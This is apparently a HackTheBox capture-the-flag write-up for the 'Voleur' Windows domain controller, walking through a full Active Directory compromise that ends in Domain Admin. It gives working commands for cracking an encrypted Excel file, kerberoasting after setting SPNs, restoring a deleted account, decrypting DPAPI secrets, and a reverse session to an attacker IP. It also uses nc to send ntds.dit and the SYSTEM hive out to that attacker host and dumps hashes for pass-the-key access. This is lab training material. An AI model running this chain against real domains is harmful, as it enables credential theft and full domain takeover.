HTB - Voleur

Description

---

Assume breach: the compromise begins with access to a shared IT folder containing an encrypted Excel file. After cracking it, multiple credentials were recovered, including two valid domain accounts. one with elevated privileges such as WriteSPN and GenericWrite over a user and an OU. A targeted Kerberoasting attack was performed, resulting in obtaining another user that can access the machine via winRM.

Using RunasCs, the attacker impersonated another user and abused GenericWrite on the OU to restore a deleted user account. This restored user had access to a previously restricted subfolder in the IT share, which contained an archived profile and encrypted DPAPI credentials. With the previously discovered password, the credentials were decrypted, revealing another domain account with access to a different subfolder.

There, a private SSH key and a note file were found, which allowed access to a WSL instance running on the host via SSH. The shared IT folder was mounted within WSL, and inside it, a backup directory was discovered containing the ntds.dit file and the system registry hive. After exfiltrating both files, the attacker extracted the hashes and Kerberos keys of domain users, ultimately gaining Domain Admin access.

Enumeration

---

As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

Before I began, I exported IP, Username, Password, Domain to variables for easy usage

export target=10.10.11.76 ; export user=ryan.naylor; export password='HollowOct31Nyt'; export domain=voleur.htb

Then, I started with normal Nmap scan to find all open ports

Nmap Scan

nmap $target -p- --min-rate 10000 -Pn -oN Nmap/allports

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2222/tcp  open  EtherNetIP-1
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

Exported all open ports to a variable and ran the script and version detection scans

export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')";

nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11     
| ssh-hostkey:
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)            
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing 

Summary

* Open ports: 53,88,135,139,389,445,593,636,2222,3268,3269,5985,9389
* Services: DNS, KERBEROS, LDAP, RPC, SMB, LDAPS, winRM, SSH
* Important notes: Domain: voleur.htb - SSH (port 2222)

I always update /etc/hosts before I attack the domain to avoid any tooling issues

echo "$target dc dc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts 
10.10.11.76 dc dc.voleur.htb voleur.htb

Using valid domain credentials, I began by enumerating SMB shares but encountered a STATUS_NOT_SUPPORTED error. This indicated that authentication to the domain had failed. I also noticed NTLM:False, meaning only Kerberos authentication was allowed.

nxc smb $target -u $user -p $password --shares
SMB         10.10.11.76     445    10.10.11.76      [*]  x64 (name:10.10.11.76) (domain:10.10.11.76) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    10.10.11.76      [-] 10.10.11.76\ryan.naylor:######## STATUS_NOT_SUPPORTED

When I switched to kerberos authentication -k flag, I found shares folder including accessible IT folder with READ access

nxc smb dc.voleur.htb -u $user -p $password -k --shares

Alternatively, you can ask TGT from the DC, export it to KRB5CCNAME, and auth with it to dc

nxc smb dc.voleur.htb -k --use-kcache --shares

Inside the shared folder, there is interesting file Access_Review.xlsx, so I downloaded it to examine to in my kali machine

Note: for smbclient.py to work with kerberos authentication, you must supply the target host as FQDN (dc.voleur.htb)

The file appeared to be encrypted, so I used office2john tool to extract the hash and try to crack it offline

file Access_Review.xlsx 
Access_Review.xlsx: CDFV2 Encrypted

office2john Access_Review.xlsx > xlsx.hash 

The hash was cracked successfully using hashcat

hashcat -m 9600 xlsx.hash /usr/share/wordlists/rockyou.txt --username

..snip..
Access_Review.xlsx:$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*500bd7e833dffaa28772a49e987be35b*7ec993c47ef39a61e86f8xxxxxxxxxx5004092482f9fd59cfa111c:REDACTED

Then, I opened the file with Miscrosoft Office and inside the file there was list of usernames with note corresponding to each of them.

• todd.wolfe user appears to be deleted and his password is in the note

• lacey & Jeremy & svc_winrm are members in Remote Management Users

• There are passwords for svc_ldap & svc_iis users

I tried to check if any password of them worked and I managed to get two users svc_iis & svc_ldap

nxc ldap $target -u users.list -p passwords.list -k --continue-on-success

• Looking at Bloodhound-GUI, I found svc_iis has no privileges but svc_ldap has:

  1. He is a member in Restore_Users Group

  2. GenericWrite on SECOND LINE SUPPORT OU and lacey user

  3. WriteSPN on svc_winrm user

• To summarize the steps I did:

  • With GenericWrite on OU and from group named Restore_users, I thought that I could restore any deleted object from this OU.

  • With WriteSPN on svc_winrm and GenericWrite on lacey , I could assign them a Service Principal Name (SPN), then request service ticket to crack it offline and get their passwords

Foothold

---

WriteSPN

bloodyAD --host dc.voleur.htb -d "$domain" -u svc_ldap -p REDACTED -k set object lacey.miller ServicePrincipalName -v cifs/any.voleur.htb

[+] lacey.miller's servicePrincipalName has been updated

bloodyAD --host dc.voleur.htb "$domain" -u svc_ldap -p REDACTED -k set object svc_winrm ServicePrincipalName -v cifs/anything.voleur.htb

[+] svc_winrm's servicePrincipalName has been updated

Perform kerberoasting attack

nxc ldap $target -u $user -p $password -k --kerberoast kerberos.hash

I hash of svc_winrm was cracked successfully but lacey wasn't :((

hashcat -m 13100 kerberos.hash /usr/share/wordlists/rockyou.txt

..hash..:REDACTED

Session..........: hashcat
Status...........: Cracked

Since kerberos authentication is enforced, I had to edit /etc/krb5.conf to able to use kinit and evil-winrm

[libdefaults]
        default_realm = VOLEUR.HTB
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]
        VOLEUR.HTB = {
                kdc = voleur.htb
                admin_server = voleur.htb
                default_admin = voleur.htb
        }
[domain_realm]
        .voleur.htb = VOLEUR.HTB

Get a ticket for svc_winrm

kinit svc_winrm   
Password for [e-mail]: 

klist          
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [e-mail]

Valid starting       Expires              Service principal
07/08/2025 12:07:29  07/08/2025 22:07:29  krbtgt/[e-mail]
        renew until 07/09/2025 12:07:27

evil-winrm -r voleur.htb -i dc.voleur.htb

*Evil-WinRM* PS C:\Users\svc_winrm> type Desktop\user.txt
8bbbc0ca204f9f6xxxxxxxxxxxxxxxxxxx

User Flag: 8bbbc0ca204f9f6xxxxxxxxxxxxxxxxxxx

Lateral Movement

---

I found nothing interesting or any escalation paths from svc_winrm shell, So I had to get the shell as svc_ldap to try abusing GenericWrite permission on the OU.

I used Invoke-RunasCs.ps1 to get a session as svc_ldap

Import-module .\Invoke-RunasCs.ps1; Invoke-RunasCs -Username svc_ldap -Password REDACTED -Command PowerShell.exe -Remote 10.10.16.2:443

Next, I enumerated deleted objects in the domain and found the user todd.wolfe, which matched the deleted account listed in the Excel sheet. According to the same sheet, he was a member of the "Second Line Support" group. Since I had GenericWrite permissions on the "Second Line Support" OU through membership in the "Restore Users" group, I suspected I could restore the account.

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects

Then, I ran restore-ADObject with GUID of the user to restore it

restore-ADObject -identity '1c6b1deb-c372-4cbb-87b1-15031de169db'

Confirm

nxc ldap $target -u todd.wolfe -p REDACTED -k
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\todd.wolfe:########

With todd.wolfe credentials, I looked at IT share again and Inside it, I found archived user folder:

impacket-smbclient "$domain/$user:$password"@dc.voleur.htb -k

When landing in User's folder, I always search for hardcoded passwords, DPAPI credentials, PowerShell History and more. I didn't find any of them except DPAPI

There are DPAPI credentials under AppData\Roaming\Miscrosoft\Credentials\772275FAD58525253490A9B0039791D3 and the masterkey location is AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88

Download the two files

# get AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3
# get AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88

I extracted the masterkey using dpapi.py after supplying it with User's SID, Password I found in xlsx sheet and key file

impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password REDACTED

Finally, extract the secrets using masterkey from the previous step

impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key <masterkey>

Privilege Escalation

---

With jeremy credentials, I could access Third Line Support in IT share and downloaded the files inside it

The first file was private key and the second one was a note to jeremy telling him that he configured windows subsystem for Linux (WSL) for the backup operations.

cat Note.txt.txt 
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,
Admin

I noticed from the nmap results that an SSH service was running on port 2222, which likely indicated a WSL instance. I attempted to connect using the private key but wasn’t sure which username to use. I tried jeremy and root, but both attempts failed.

chmod 600 id_rsa

ssh -i id_rsa [e-mail] -p 2222
[e-mail]: Permission denied (publickey).

ssh -i id_rsa [e-mail] -p 2222
[e-mail]: Permission denied (publickey).

The note.txt file written by someone handling backups on the server. Since there was a domain account named svc_backup, I tried connecting with that and it worked! I successfully accessed the WSL environment.

ssh -i id_rsa [e-mail] -p 2222

The user is sudo group, so I escalated to root easily

svc_backup@DC:~$ id
uid=1000(svc_backup) gid=1000(svc_backup) groups=1000(svc_backup),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)

svc_backup@DC:~$ sudo su
root@DC:/home/svc_backup# id
uid=0(root) gid=0(root) groups=0(root)

After enumerating the Linux server, the only notable finding was the svc_backup hash in /etc/shadow, which couldn’t be cracked. However, since WSL runs within a Windows environment, I knew its file system would be mounted somewhere on the Windows host—and conversely, parts of the Windows file system might also be accessible from within WSL.

Then, I looked for /mnt folder (Commonly used for mounting) and I found c folder is mounted there. Inside IT share, there is Backups folder only accessible by svc_backup user containing system registry key and DC database ntds

Download the two files:

nc -q 0 10.10.16.2 9001 < registry/SYSTEM
nc -q 0 10.10.16.2 9001 < Active\ Directory/ntds.dit

nc -l -p 9001 > system.save    
nc -l -p 9001 > ntds.dit

Extract administrator hash and kerberos keys

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL | grep Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d8316xxxxxxxxxxxxxx:::
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962bexxxxxxxxxxxxxxxxxxxxx
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c9xxxxxxxxxxxxxxx
Administrator:des-cbc-md5:459d836xxxxxxxxx

Get root flag

nxc smb dc.voleur.htb -u Administrator --aesKey f577668d58955ab962be9a489c032f06d84xxxxxxxxxxxxxxx -k -x 'type C:\Users\Administrator\Desktop\root.txt'

Root Flag: 05f6ba8cf4caf09exxxxxxxxxxxxxxx